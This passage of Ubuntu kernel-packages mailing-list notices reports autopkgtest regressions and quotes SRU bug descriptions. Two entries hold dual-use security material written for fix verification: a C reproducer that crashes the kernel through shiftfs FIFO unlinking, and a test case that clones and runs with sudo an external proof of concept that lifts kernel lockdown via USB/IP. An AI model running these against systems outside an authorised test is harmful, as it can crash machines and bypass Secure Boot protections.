ARM: vexpress: Set-up shared OPP table instead of individual for each CPU netfilter: uapi: Avoid undefined left-shift in xt_sctp.h netfilter: nft_set_rbtree: bogus lookup/get on consecutive elements in named sets netfilter: nf_tables: validate NFT_SET_ELEM_INTERVAL_END netfilter: nf_tables: validate NFT_DATA_VALUE after nft_data_init() ARM: dts: BCM5301X: Fix MDIO node address/size cells selftests/ftrace: Fix multiple kprobe testcase ARM: dts: Cygnus: Fix MDIO node address/size cells spi: spi-cavium-thunderx: Add missing pci_release_regions() ASoC: topology: Check return value for soc_tplg_pcm_create() ARM: dts: bcm283x: Fix critical trip point bpf, mips: Limit to 33 tail calls spi: spi-ti-qspi: Fix a bug when accessing non default CS ARM: dts: am437x-gp/epos-evm: fix panel compatible samples: bpf: Replace symbol compare of trace_event samples: bpf: fix syscall_tp due to unused syscall powerpc: Ensure that swiotlb buffer is allocated from low memory btrfs: Fix error messages in qgroup_rescan_init bpf: Clear skb->tstamp in bpf_redirect when necessary bnx2x: Do not handle requests from VFs after parity bnx2x: Fix logic to get total no. of PFs per engine cxgb4: Fix kernel panic while accessing sge_info net: usb: lan78xx: Fix error message format specifier parisc: add missing __init annotation rfkill: Fix incorrect check to avoid NULL pointer dereference ASoC: wm8962: fix lambda value regulator: rn5t618: fix module aliases iommu/iova: Init the struct iova to fix the possible memleak kconfig: don't crash on NULL expressions in expr_eq() perf/x86/intel: Fix PT PMI handling fs: avoid softlockups in s_inodes iterators net: stmmac: Do not accept invalid MTU values net: stmmac: xgmac: Clear previous RX buffer size net: stmmac: RX buffer size must be 16 byte aligned net: stmmac: Always arm TX Timer at end of transmission start s390/purgatory: do not build purgatory with kcov, kasan and friends drm/exynos: gsc: add missed component_del s390/dasd/cio: Interpret ccw_device_get_mdc return value correctly s390/dasd: fix memleak in path handling error case block: fix memleak when __blk_rq_map_user_iov() is failed parisc: Fix compiler warnings in debug_core.c llc2: Fix return statement of llc_stat_ev_rx_null_dsap_xid_c (and _test_c) hv_netvsc: Fix unwanted rx_table reset powerpc/vcpu: Assume dedicated processors as non-preempt powerpc/spinlocks: Include correct header for static key PCI/switchtec: Read all 64 bits of part_event_bitmap gtp: fix bad unlock balance in gtp_encap_enable_socket ma
[Kernel-packages] [Bug 1860041] Autopkgtest regression report (linux-bluefield/5.0.0-1010.20)
All autopkgtests for the newly accepted linux-bluefield (5.0.0-1010.20) for
bionic have finished running.
The following regressions have been reported in tests triggered by the package:
fsprotect/unknown (armhf)
Please visit the excuses page listed below and investigate the failures,
proceeding afterwards as per the StableReleaseUpdates policy regarding
autopkgtest regressions [1].
https://people.canonical.com/~ubuntu-archive/proposed-
migration/bionic/update_excuses.html#linux-bluefield
[1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions
Thank you!
--
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1860041
Title:
shiftfs: prevent lower dentries from going negative during unlink
Status in linux package in Ubuntu:
Fix Released
Status in linux source package in Disco:
Fix Committed
Status in linux source package in Eoan:
Fix Released
Bug description:
SRU Justification
Impact: All non-special files (For shiftfs this only includes fifos
and - for this case - unix sockets - since we don't allow character
and block devices to be created.) go through shiftfs_open() and have
their dentry pinned through this codepath preventing it from going
negative. But fifos don't use the shiftfs fops but rather use the
pipefifo_fops which means they do not go through shiftfs_open() and
thus don't have their dentry pinned that way. Thus, the lower dentries
for such files can go negative on unlink causing segfaults. The
following C program can be used to reproduce the crash:
#include
#include
#include
#include
#include
#include
#include
int main(int argc, char *argv[])
{
struct stat stat;
unlink("./bbb");
int ret = mknod("./bbb", S_IFIFO|0666, 0);
if (ret < 0)
exit(1);
int fd = open("./bbb", O_RDWR);
if (fd < 0)
exit(2);
if (unlink("./bbb"))
exit(4);
fstat(fd, &stat);
return 0;
}
Fix: Similar to ecryptfs we need to dget() the lower dentry before
calling vfs_unlink() on it and dput() it afterwards.
Regression Potential: Limited to shiftfs.
Test Case: Compiled a kernel with the fix and used the reproducer
above to verify that the kernel cannot be crashed anymore.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1860041/+subscriptions
--
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1861238] Autopkgtest regression report (linux-bluefield/5.0.0-1010.20)
All autopkgtests for the newly accepted linux-bluefield (5.0.0-1010.20) for bionic have finished running. The following regressions have been reported in tests triggered by the package: fsprotect/unknown (armhf) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-bluefield [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-oem in Ubuntu. https://bugs.launchpad.net/bugs/1861238 Title: Root can lift kernel lockdown via USB/IP Status in linux package in Ubuntu: Fix Released Status in linux-oem package in Ubuntu: Fix Released Status in linux source package in Xenial: Invalid Status in linux source package in Bionic: Fix Released Status in linux-oem source package in Bionic: Fix Released Status in linux source package in Disco: Fix Committed Status in linux source package in Eoan: Fix Released Status in linux source package in Focal: Fix Released Bug description: [Impact] It's possible to turn off kernel lockdown by emulating a USB keyboard via USB/IP and sending an Alt+SysRq+X key combination through it. Ubuntu's kernels have USB/IP enabled (CONFIG_USBIP_VHCI_HCD=m and CONFIG_USBIP_CORE=m) with signed usbip_core and vhci_hcd modules provided in the linux-extra-modules-* package. See the PoC here: https://github.com/xairy/unlockdown#method-1-usbip [Test Case] $ git clone https://github.com/xairy/unlockdown.git $ cd unlockdown/01-usbip/ $ sudo ./run.sh $ dmesg # Ensure there are no log entries talking about lifting lockdown: sysrq: SysRq : Disabling Secure Boot restrictions Lifting lockdown # You should see a SysRq help log entry because the Alt+SysRq+X # combination should be disabled sysrq: SysRq : HELP : loglevel(0-9) reboot(b) crash(c) terminate-all-tasks(e) memory-full-oom-kill(f) kill-all-tasks(i) thaw-filesystems(j) sak(k) show-backtrace-all-active-cpus(l) show-memory-usage(m) nice-all-RT-tasks(n) poweroff(o) show-registers(p) show-all-timers(q) unraw(r) sync(s) show-task-states(t) unmount(u) force-fb(V) show-blocked-tasks(w) dump-ftrace-buffer(z) [Regression Potential] Some users may see a usability regression due to the Lockdown lift sysrq combination being removed. Some users are known to disable lockdown, using the sysrq combination, in order to perform some "dangerous" operation such as writing to an MSR. It is believed that this is a small number of users but it is impossible to know for sure. Users that rely on this functionality may need to permanently disable secure boot using 'mokutil --disable-validation'. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1861238/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1860182] Autopkgtest regression report (zfs-linux/0.7.5-1ubuntu16.9)
All autopkgtests for the newly accepted zfs-linux (0.7.5-1ubuntu16.9) for bionic have finished running. The following regressions have been reported in tests triggered by the package: lxd/3.0.3-0ubuntu1~18.04.1 (arm64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#zfs-linux [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to zfs-linux in Ubuntu. https://bugs.launchpad.net/bugs/1860182 Title: zpool scrub malfunction after kernel upgrade Status in zfs-linux package in Ubuntu: In Progress Status in zfs-linux source package in Bionic: Fix Committed Bug description: == SRU Request [BIONIC] == The HWE kernel on bionic provides zfs 0.8.1 driver which includes an improved scrub however, the progress stats reported by the kernel are incompatible to the 0.7.x zfs driver. == Fix == Use the new zfs 8.x pool_scan_stat_t extra fields to calculate the scan progress when using zfs 8.x kernel drivers. Add detection of the kernel module version and use an approximation to the zfs 0.8.0 progress and rate reporting for newer kernels. For 0.7.5 we can pass the larger 8.x port_scan_stat_t to 0.7.5 zfs w/o problems and ignore these new fields and continue to use the 0.7.5 rate calculations. == Test == Install the HWE kernel on Bionic, create some large ZFS pools and populate with a lot of data. Issue: sudo zpool scrub poolname and then look at the progress using sudo zpool status Without the fix, the progress stats are incorrect. With the fix the duration and rate stats as a fairly good approximation of the progress. Since the newer 0.8.x zfs does scanning now in two phases the older zfs tools will only report accurate stats for phase #2 of the scan to keep it roughly compatible with the 0.7.x zfs utils output. == Regression Potential == This is a userspace reporting fix so the zpool status output is only affected by this fix when doing a scrub, so the impact of this fix is very small and limited. I ran a zpool scrub prior to upgrading my 18.04 to the latest HWE kernel (5.3.0-26-generic #28~18.04.1-Ubuntu) and it ran properly: eric@eric-8700K:~$ zpool status pool: storagepool1 state: ONLINE scan: scrub repaired 1M in 4h21m with 0 errors on Fri Jan 17 07:01:24 2020 config: NAME STATE READ WRITE CKSUM storagepool1 ONLINE 0 0 0 mirror-0ONLINE 0 0 0 ata-WDC_WD20EZRZ-00Z5HB0_WD-WCC4M3YFRVJ3 ONLINE 0 0 0 ata-ST2000DM001-1CH164_Z1E285A4 ONLINE 0 0 0 mirror-1ONLINE 0 0 0 ata-WDC_WD20EZRZ-00Z5HB0_WD-WCC4M1DSASHD ONLINE 0 0 0 ata-ST2000DM006-2DM164_Z4ZA3ENE ONLINE 0 0 0 I ran zpool scrub after upgrading the kernel and rebooting, and now it fails to work properly. It appeared to finish in about 5 minutes but did not, and says it is going slow: eric@eric-8700K:~$ sudo zpool status pool: storagepool1 state: ONLINE scan: scrub in progress since Fri Jan 17 15:32:07 2020 1.89T scanned out of 1.89T at 589M/s, (scan is slow, no estimated time) 0B repaired, 100.00% done config: NAME STATE READ WRITE CKSUM storagepool1 ONLINE 0 0 0 mirror-0ONLINE 0 0 0 ata-WDC_WD20EZRZ-00Z5HB0_WD-WCC4M3YFRVJ3 ONLINE 0 0 0 ata-ST2000DM001-1CH164_Z1E285A4 ONLINE 0 0 0 mirror-1ONLINE 0 0 0 ata-WDC_WD20EZRZ-00Z5HB0_WD-WCC4M1DSASHD ONLINE 0 0 0 ata-ST2000DM006-2DM164_Z4ZA3ENE ONLINE 0 0 0 errors: No known data errors ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: zfsutils-linux 0.7.5-1ubuntu16.7 ProcVersionSignature: Ubuntu 5.3.0-26.28~18.04.1-generic 5.3.13 Uname: Linux 5.3.0-26-generic x86_64 NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair ApportVersion: 2.20.9-0ubuntu7.9 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Fri Jan 17 16:22:01 2020 InstallationDate: Installed on 2018-03-07 (681 days ago) InstallationMedia: Ubuntu 17.10 "Artful Aardvark" - Release amd64 (20180105.1) SourcePackage: zfs-linux UpgradeStatus: Upgraded to bionic on 2018-08-02 (533 days ago) modi
[Kernel-packages] [Bug 1868210] Autopkgtest regression report (alsa-lib/1.1.9-0ubuntu1.3)
All autopkgtests for the newly accepted alsa-lib (1.1.9-0ubuntu1.3) for eoan have finished running. The following regressions have been reported in tests triggered by the package: fluidsynth/unknown (armhf) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/eoan/update_excuses.html#alsa-lib [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to alsa-lib in Ubuntu. https://bugs.launchpad.net/bugs/1868210 Title: [SRU] Load ucm on Lenovo notebooks based on bios version Status in HWE Next: New Status in alsa-lib package in Ubuntu: Invalid Status in alsa-lib source package in Bionic: Fix Committed Status in alsa-lib source package in Eoan: Fix Committed Status in alsa-lib source package in Focal: Invalid Bug description: This SRU is not backported from upstream of alsa-lib and this SRU is not going to be submitted to upstream. That is because the latest alsa-lib already supports ucm2, and with ucm2 all machines could share one ucm, so latest alsa-lib does not have this problem. This problem is only specific to the alsa-lib in Bionic and Eoan. [Impact] On some Lenovo notebooks, UCM files are not loaded and mic can't be used. [Fix] UCM was loaded based on cardlongname, but that can't cover all configs of the same model. Lenovo suggested to load ucm by the first 3 letters of /sys/devices/virtual/dmi/id/bios_version, so that all configs could use just one ucm. [Test Case] After applying this patch, install the testing alsa-lib on Lenovo X1C7 and Dell vostro 5390, which are all machines with the DMIC connected to PCH. After system bootup, check the /usr/share/alsa/ucm/ for the presence of LENOVO-BIOSID-xxx directories. Lenovo X1C7 should load the N2H/*.conf and verify the audio functionalities. The Dell machine should still load the ucm by cardname, and it should work as good as before. [Regression Potential] low, just add some new UCMs and let Lenovo machine find the UCM by bios_version if it fails by cardlongname. I've already tested the change on Lenovo and Dell machines. To manage notifications about this bug go to: https://bugs.launchpad.net/hwe-next/+bug/1868210/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1868210] Autopkgtest regression report (alsa-lib/1.1.3-5ubuntu0.5)
All autopkgtests for the newly accepted alsa-lib (1.1.3-5ubuntu0.5) for bionic have finished running. The following regressions have been reported in tests triggered by the package: chromium-browser/80.0.3987.149-0ubuntu0.18.04.1 (i386, amd64, armhf, arm64) fluidsynth/unknown (armhf) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#alsa-lib [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to alsa-lib in Ubuntu. https://bugs.launchpad.net/bugs/1868210 Title: [SRU] Load ucm on Lenovo notebooks based on bios version Status in HWE Next: New Status in alsa-lib package in Ubuntu: Invalid Status in alsa-lib source package in Bionic: Fix Committed Status in alsa-lib source package in Eoan: Fix Committed Status in alsa-lib source package in Focal: Invalid Bug description: This SRU is not backported from upstream of alsa-lib and this SRU is not going to be submitted to upstream. That is because the latest alsa-lib already supports ucm2, and with ucm2 all machines could share one ucm, so latest alsa-lib does not have this problem. This problem is only specific to the alsa-lib in Bionic and Eoan. [Impact] On some Lenovo notebooks, UCM files are not loaded and mic can't be used. [Fix] UCM was loaded based on cardlongname, but that can't cover all configs of the same model. Lenovo suggested to load ucm by the first 3 letters of /sys/devices/virtual/dmi/id/bios_version, so that all configs could use just one ucm. [Test Case] After applying this patch, install the testing alsa-lib on Lenovo X1C7 and Dell vostro 5390, which are all machines with the DMIC connected to PCH. After system bootup, check the /usr/share/alsa/ucm/ for the presence of LENOVO-BIOSID-xxx directories. Lenovo X1C7 should load the N2H/*.conf and verify the audio functionalities. The Dell machine should still load the ucm by cardname, and it should work as good as before. [Regression Potential] low, just add some new UCMs and let Lenovo machine find the UCM by bios_version if it fails by cardlongname. I've already tested the change on Lenovo and Dell machines. To manage notifications about this bug go to: https://bugs.launchpad.net/hwe-next/+bug/1868210/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1776654] Autopkgtest regression report (systemd/242-7ubuntu3.8)
All autopkgtests for the newly accepted systemd (242-7ubuntu3.8) for eoan have finished running. The following regressions have been reported in tests triggered by the package: systemd/242-7ubuntu3.8 (ppc64el) prometheus-postgres-exporter/unknown (armhf) gnome-desktop3/3.34.2-2ubuntu1~19.10.1 (armhf) openssh/1:8.0p1-6build1 (s390x, i386, ppc64el, arm64, armhf, amd64) snapd/2.42.1+19.10 (i386) udisks2/unknown (armhf) umockdev/0.13.2-1 (armhf) sks/unknown (armhf) network-manager/1.20.4-2ubuntu2.2 (ppc64el, arm64) asterisk/unknown (armhf) logrotate/unknown (armhf) lxc/3.0.4-0ubuntu1 (i386) netplan.io/0.98-0ubuntu1 (amd64) dbus/unknown (armhf) gvfs/1.42.1-1ubuntu1 (arm64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/eoan/update_excuses.html#systemd [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1776654 Title: systemd upstream sysusers tests fails Status in linux package in Ubuntu: Invalid Status in systemd package in Ubuntu: Fix Committed Status in linux source package in Bionic: Invalid Status in systemd source package in Bionic: Fix Committed Status in linux source package in Cosmic: Invalid Status in linux source package in Eoan: Invalid Status in systemd source package in Eoan: Fix Committed Status in linux source package in Focal: Invalid Status in systemd source package in Focal: Fix Committed Bug description: [impact] TEST-21-SYSUSERS autopkgtest fails [test case] see original description [regression potential] any regression would be limited to incorrect pass/fail of TEST-21-SYSUSERS [scope] TEST-21-SYSUSERS does not exist in Xenial, it is first contained in Bionic. This is needed for B, E, and F. [original description] https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac /autopkgtest-cosmic-canonical-kernel-team- bootstrap/cosmic/amd64/s/systemd/20180613_003352_38c07@/log.gz == TEST-21-SYSUSERS == make: Entering directory '/tmp/autopkgtest.phv1ss/build.sqb/src/test/TEST-21-SYSUSERS' TEST CLEANUP: Sysuser-related tests TEST SETUP: Sysuser-related tests TEST RUN: Sysuser-related tests *** Running test-1.input *** Running test-2.input *** Running test-3.input *** Running test-4.input *** Running test unhappy-1.input --- /var/tmp/systemd-test.TjNA7s/tmp/err 2018-06-13 00:22:12.805061468 + +++ unhappy-1.expected-err2018-01-28 15:58:17.0 + @@ -1 +1 @@ -Creating user xxx (n/a) with uid 312 and gid 310. +Failed to parse UID: '99': Numerical result out of range Unexpected error output for unhappy-1.input Creating user xxx (n/a) with uid 312 and gid 310. make: *** [run] Error 1 Makefile:4: recipe for target 'run' failed make: Leaving directory '/tmp/autopkgtest.phv1ss/build.sqb/src/test/TEST-21-SYSUSERS' FAILED TESTS: test/TEST-21-SYSUSERS autopkgtest [00:22:13]: test upstream: ---] upstream FAIL non-zero exit status 1 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1776654/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1776654] Autopkgtest regression report (systemd/237-3ubuntu10.40)
All autopkgtests for the newly accepted systemd (237-3ubuntu10.40) for bionic have finished running. The following regressions have been reported in tests triggered by the package: gvfs/1.36.1-0ubuntu1.3.3 (amd64) prometheus-postgres-exporter/unknown (armhf) systemd/237-3ubuntu10.40 (i386, ppc64el) umockdev/0.11.1-1 (armhf) linux-hwe-5.0/5.0.0-47.51~18.04.1 (armhf) kde4libs/4:4.14.38-0ubuntu3.1 (armhf) util-linux/unknown (armhf) nftables/unknown (armhf) linux-raspi2-5.3/5.3.0-1023.25~18.04.1 (armhf) netplan.io/0.98-0ubuntu1~18.04.1 (i386) openssh/1:7.6p1-4ubuntu0.3 (arm64, i386, armhf, ppc64el, s390x, amd64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#systemd [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1776654 Title: systemd upstream sysusers tests fails Status in linux package in Ubuntu: Invalid Status in systemd package in Ubuntu: Fix Committed Status in linux source package in Bionic: Invalid Status in systemd source package in Bionic: Fix Committed Status in linux source package in Cosmic: Invalid Status in linux source package in Eoan: Invalid Status in systemd source package in Eoan: Fix Committed Status in linux source package in Focal: Invalid Status in systemd source package in Focal: Fix Committed Bug description: [impact] TEST-21-SYSUSERS autopkgtest fails [test case] see original description [regression potential] any regression would be limited to incorrect pass/fail of TEST-21-SYSUSERS [scope] TEST-21-SYSUSERS does not exist in Xenial, it is first contained in Bionic. This is needed for B, E, and F. [original description] https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac /autopkgtest-cosmic-canonical-kernel-team- bootstrap/cosmic/amd64/s/systemd/20180613_003352_38c07@/log.gz == TEST-21-SYSUSERS == make: Entering directory '/tmp/autopkgtest.phv1ss/build.sqb/src/test/TEST-21-SYSUSERS' TEST CLEANUP: Sysuser-related tests TEST SETUP: Sysuser-related tests TEST RUN: Sysuser-related tests *** Running test-1.input *** Running test-2.input *** Running test-3.input *** Running test-4.input *** Running test unhappy-1.input --- /var/tmp/systemd-test.TjNA7s/tmp/err 2018-06-13 00:22:12.805061468 + +++ unhappy-1.expected-err2018-01-28 15:58:17.0 + @@ -1 +1 @@ -Creating user xxx (n/a) with uid 312 and gid 310. +Failed to parse UID: '99': Numerical result out of range Unexpected error output for unhappy-1.input Creating user xxx (n/a) with uid 312 and gid 310. make: *** [run] Error 1 Makefile:4: recipe for target 'run' failed make: Leaving directory '/tmp/autopkgtest.phv1ss/build.sqb/src/test/TEST-21-SYSUSERS' FAILED TESTS: test/TEST-21-SYSUSERS autopkgtest [00:22:13]: test upstream: ---] upstream FAIL non-zero exit status 1 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1776654/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1847816] Autopkgtest regression report (systemd/229-4ubuntu21.28)
All autopkgtests for the newly accepted systemd (229-4ubuntu21.28) for xenial
have finished running.
The following regressions have been reported in tests triggered by the package:
udisks2/2.1.7-1ubuntu1 (amd64)
multipath-tools/0.5.0+git1.656f8865-5ubuntu2.5 (armhf)
nplan/0.32~16.04.7 (amd64)
Please visit the excuses page listed below and investigate the failures,
proceeding afterwards as per the StableReleaseUpdates policy regarding
autopkgtest regressions [1].
https://people.canonical.com/~ubuntu-archive/proposed-
migration/xenial/update_excuses.html#systemd
[1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions
Thank you!
--
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux-kvm in Ubuntu.
https://bugs.launchpad.net/bugs/1847816
Title:
storage autopkgtest always fails with linux-{kvm,azure,etc} kernels
that don't include scsi_debug module
Status in autopkgtest-cloud:
Fix Released
Status in linux-kvm package in Ubuntu:
New
Status in systemd package in Ubuntu:
Fix Released
Status in linux-kvm source package in Xenial:
New
Status in systemd source package in Xenial:
Fix Committed
Status in linux-kvm source package in Bionic:
New
Status in systemd source package in Bionic:
Fix Released
Status in linux-kvm source package in Disco:
New
Status in systemd source package in Disco:
Won't Fix
Status in linux-kvm source package in Eoan:
New
Status in systemd source package in Eoan:
Fix Released
Status in linux-kvm source package in Focal:
New
Status in systemd source package in Focal:
Fix Released
Bug description:
Note: this bug touches on multiple packages:
- autopkgtest-cloud: merge request open to install 'modules-extra' package
- systemd: update autopkgtest to skip test if scsi_debug module isn't
available (SRU template below is for this change)
- linux-kvm: has CONFIG_SCSI_DEBUG unset, but would be good to have
scsi_debug module built for this kernel
[SRU template for systemd]
[impact]
the 'storage' autopkgtest requires the 'scsi_debug' module, and if it
can't load it (and it's not built-in), the test fails. On some custom
kernels, this module is included in the new 'linux-modules-extra-*'
deb which isn't installed by default, so the test always fails when
doing a reverse-dep autopkgtest using such a kernel's meta pkg.
Additionally, some custom kernels, like linux-kvm, have SCSI_DEBUG
disabled entirely; for those kernels, it will never be possible to
load the scsi_debug module and the test should be skipped.
[test case]
run the 'storage' autopkgtest with a custom kernel that doesn't
provide the scsi_debug module in the standard linux-modules deb, or
check the autopkgtest.u.c history, for example:
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac
/autopkgtest-focal/focal/amd64/s/systemd/20191209_150835_237a5@/log.gz
[regression potential]
as this modifies one of the autopkgtest --setup-commands, a regression
would most likely cause immediate test failure due to failing to
install the proper linux-* debs.
For the systemd 'storage' test change, this only skips the test if the
scsi_debug module can't be loaded (and isn't already present, i.e.
loaded or built-in). Any regression potential from that is low, but
likely would involve incorrect test skips and/or missing valid
problems due to skipping the test.
[scope]
systemd in all releases needs to have its 'storage' test updated
To manage notifications about this bug go to:
https://bugs.launchpad.net/autopkgtest-cloud/+bug/1847816/+subscriptions
--
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1863297] Autopkgtest regression report (linux-bluefield/5.0.0-1010.20)
*** This bug is a duplicate of bug 1865110 *** https://bugs.launchpad.net/bugs/1865110 All autopkgtests for the newly accepted linux-bluefield (5.0.0-1010.20) for bionic have finished running. The following regressions have been reported in tests triggered by the package: fsprotect/unknown (armhf) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-bluefield [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1863297 Title: disco/linux: 5.0.0-42.46 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: Confirmed Status in Kernel SRU Workflow certification-testing series: Confirmed Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-lrm series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow prepare-package-signed series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Fix Released Status in Kernel SRU Workflow promote-to-security series: Invalid Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: Invalid Status in Kernel SRU Workflow security-signoff series: Invalid Status in Kernel SRU Workflow verification-testing series: In Progress Status in linux package in Ubuntu: Invalid Status in linux source package in Disco: Confirmed Bug description: This bug will contain status and test results related to a kernel source (or snap) as stated in the title. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- boot-testing-requested: true bugs-spammed: true packages: lrm: linux-restricted-modules main: linux meta: linux-meta signed: linux-signed phase: Testing phase-changed: Monday, 17. February 2020 18:32 UTC proposed-announcement-sent: true proposed-testing-requested: true reason: automated-testing: Ongoing -- testing in progress certification-testing: Ongoing -- testing in progress verification-testing: Ongoing -- testing in progress trackers: bionic/linux-aws-5.0: bug 1863281 bionic/linux-azure: bug 1863285 bionic/linux-bluefield: bug 1863295 bionic/linux-gcp: bug 1863289 bionic/linux-gke-5.0: bug 1863293 bionic/linux-hwe-5.0: bug 1863276 bionic/linux-oem-osp1: bug 1863279 bionic/linux-oracle-5.0: bug 1863296 variant: debs To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1863297/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1861238] Autopkgtest regression report (linux-bluefield/5.0.0-1010.20)
All autopkgtests for the newly accepted linux-bluefield (5.0.0-1010.20) for bionic have finished running. The following regressions have been reported in tests triggered by the package: fsprotect/unknown (armhf) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-bluefield [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-oem in Ubuntu. https://bugs.launchpad.net/bugs/1861238 Title: Root can lift kernel lockdown via USB/IP Status in linux package in Ubuntu: In Progress Status in linux-oem package in Ubuntu: New Status in linux source package in Xenial: Invalid Status in linux source package in Bionic: Fix Committed Status in linux-oem source package in Bionic: Fix Committed Status in linux source package in Disco: Fix Committed Status in linux source package in Eoan: Fix Committed Status in linux source package in Focal: In Progress Bug description: [Impact] It's possible to turn off kernel lockdown by emulating a USB keyboard via USB/IP and sending an Alt+SysRq+X key combination through it. Ubuntu's kernels have USB/IP enabled (CONFIG_USBIP_VHCI_HCD=m and CONFIG_USBIP_CORE=m) with signed usbip_core and vhci_hcd modules provided in the linux-extra-modules-* package. See the PoC here: https://github.com/xairy/unlockdown#method-1-usbip [Test Case] $ git clone https://github.com/xairy/unlockdown.git $ cd unlockdown/01-usbip/ $ sudo ./run.sh $ dmesg # Ensure there are no log entries talking about lifting lockdown: sysrq: SysRq : Disabling Secure Boot restrictions Lifting lockdown # You should see a SysRq help log entry because the Alt+SysRq+X # combination should be disabled sysrq: SysRq : HELP : loglevel(0-9) reboot(b) crash(c) terminate-all-tasks(e) memory-full-oom-kill(f) kill-all-tasks(i) 